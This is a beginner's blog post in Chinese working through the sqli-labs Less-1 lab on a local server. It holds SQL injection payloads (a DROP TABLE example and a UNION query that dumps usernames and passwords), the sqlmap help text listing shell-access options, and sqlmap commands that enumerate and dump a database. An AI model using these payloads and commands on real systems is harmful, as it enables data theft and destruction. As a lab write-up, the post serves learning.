為什麼是小白詳解?因為我就是小白
SQL隱碼攻擊早有耳聞,今天算是真正開啟這個門了,但是想要跨進去應該還是沒有那麼容易。
在B站上聽了40分鐘的網課,老實說,他講的還不錯,第一遍聽不懂也正常
https://www.bilibili.com/video/BV1Q54y1D7VV?p=4
感謝部落格園部落格帶我入門:https://www.cnblogs.com/peterpan0707007/p/7620048.html
每一個帶我學習的部落格、視訊都值得感謝
工具準備:
- 瀏覽器外掛:hack bar(免費版的Max hack bar 也不錯)
- kali虛擬機器或者sqlmap指令碼
什麼是SQL隱碼攻擊?
到目前為止我理解的sql注入無非就是:
利用sql語句的中字元匹配,注入一些惡意的程式碼進去
就好比有個程式碼:
select * from ABC where name='qqq' ;
# limit命令表示選擇第0行開始往下1行的內容
#我將name的值傳輸為222' ;drop table ABC -- ,那麼語句就是
select * from ABC where name='222' ; drop table ABC -- '
#很顯然,後面的單引號被註釋掉了
#然後這個惡意程式碼就可以在那裡亂刪。
這只是一方面,作為小白肯定還要學好多。
SQL隱碼攻擊掃描工具sqlmap
作為一個小白,我的英語也不太好(太菜了,現在到飯點了,我不配吃飯)
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to provided value
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
General:
These options can be used to set some general working parameters
--batch Never ask for user input, use the default behavior
--flush-session Flush session files for current target
Miscellaneous:
These options do not fit into any other category
--wizard Simple wizard interface for beginner users
[!] to see full list of options run with '-hh'
Press Enter to continue...
這是使用 -h命令出來的說明文件,作為小白,一開始這些肯定都比較生疏。記住幾個重要的
- -a, --all Retrieve everything
- -b, --banner Retrieve DBMS banner
- --current-user Retrieve DBMS current user
- --current-db Retrieve DBMS current database
- --passwords Enumerate DBMS users password hashes
- --tables Enumerate DBMS database tables
- --columns Enumerate DBMS database table columns
- --schema Enumerate DBMS schema
- --dump Dump DBMS database table entries
- --dump-all Dump all DBMS databases tables entries
- -D DB DBMS database to enumerate 檢索資料庫
- -T TBL DBMS database table(s) to enumerate 檢索資料表
- -C COL DBMS database table column(s) to enumerate 檢索資料表中的列
進入正題,開始做題
- 開啟PHPstudy 開啟Apache 和Mysql
- 進入地址: 127.0.0.1/sqli-libs (kali進入主機IP/sqli-labs)
我把sqli-labs的資料夾名稱改成了sqli ,方便一些
題目給了提示,這個是錯在單引號的問題上
進入
開啟hackbar 我們要在hackbar上面檢索一些東西,他們叫做“手工注入”
一段小字提示我們是和ID有關的。資料庫裡面的 id一般是小寫。
獲取一下網站
我們再重複地注入一下id,發現13號沒有,但是14號又有了,15號沒有,16號沒有……。那麼這個id的上限就是14了咯。
好了好了,我們是要找注入點,不是找有多少個id號。
題目提示了,是單引號的問題Single quotes - String
那麼,我試試注入 ?id=1'
報錯了一段字串,你看好奇怪噢,怎麼是雙引號又是單引號的。
其實:這不一定是雙引號,有可能是兩個單引號!
''1'' LIMIT 0,1'
- 首先,剔除兩邊表示字串的單引號,變成
'1'' LIMIT 0,1
- 其次,剔除我們在1後面多加上的 ‘ ,變成
'1' LIMIT 0,1
這樣,顯而易見,我們的sql語句很可能就是
select * from 表名 where id='資料' limit 0,1;
我們驗證一下:輸入數字,括號,符號等等,因為裡面就是字串,字串裡面可以是任何東西
沒有報錯,完全可以。
好,我們已經找到注入點了,現在我們進行更高階的操作。
使用order by 注入: 偵測資料表有多少列
order by 用於對結果集進行排序
假如我們輸入...... order by 3
. 那麼系統會首先偵測有沒有第三列的資料,如果沒有, 就會報錯.
所以我們使用 order by 來偵測這個資料表到底有多少列
我們正確的注入語句應該是這樣的:
select * from 資料表名 where id='隨便是什麼都可以' order by 1/2/3/4 --+' limit 0,1
別忘了後面要註釋掉
這裡註釋參考了部落格:
https://blog.csdn.net/xiayun1995/article/details/86500605
不能直接使用# 因為url讀不了
不能直接使用-- ,因為--後面要有空格或者是一個閉合字串
--+的+會變成空格,--'會讓後面形成閉合的空格字串''
但是這裡只能加+,不能使用--'.
因為!親測不可以,會直接把最外面兩個單引號變成變數
開始手動測試,15沒有\13沒有.......直到3,有了!
那麼!這個資料表有三列,盲猜是id name 和passwd
我們的目標是管理員的密碼,這不重要
使用UNION(union)聯合查詢
什麼是聯合查詢?就是多個屬性一起查,最後彙總在一張表上
我們讓union查每個的三列,讓它找不到東西,但它找過的東西都可以顯示出來.
這個說明了啥?
這個說明了,Your Login name 這個東西在第二列找了
Your Password 這東西在第三列找了
多找一列,就會報錯
我們何嘗不把 2,3 改成user(),database()這兩個函式.
這意味著我的id=1000 要在使用者資訊和資料庫資訊裡面找.
很顯然應該不會找到,所以他就會給我返回一個使用者資訊.
爆破資料庫的名字
現成的工具
讓它顯示在第二行,調整引數就好了
爆破錶名
爆破列名
爆破值
用這個語句,這個沒有現成的工具,因為很多屬性都要填寫,不記得就百度一下吧
http://127.0.0.1/sqli/Less-1/?id=1000' union select 1,group_concat(username,0x3a,password),3 from users --+
東西都出來了,所有的東西都清晰明瞭.
更常用的還是sqlmap進行探測吧
手工進行實在是太累了,一旦資料庫很多,資料表很大,就效率很低.
進入了sqlmap.
使用命令,
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs --batch
-u 表示連結引數:連結一定要正確且可執行
--dbs 表示探測資料庫:
--batch:表示不用一直問使用者要不要繼續探測
我探測到了7個資料庫,但是我的目標還是security,因為剛剛通過手工注入我知道這個靶場的資料庫就是security.
進入資料庫,探測資料表
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables --batch
-D 表示選擇資料庫
--tables 表示查詢資料表
查到了四個資料表,我們當然選擇users,其他的和這次靶場無關
查資料表中的列
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns --batch
-T 表示選擇資料表
--columns表示檢索出列
查詢內容
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users -C username,password --dump --batch
-C 表示要查詢的目錄,用逗號隔開
--dump 是查詢元素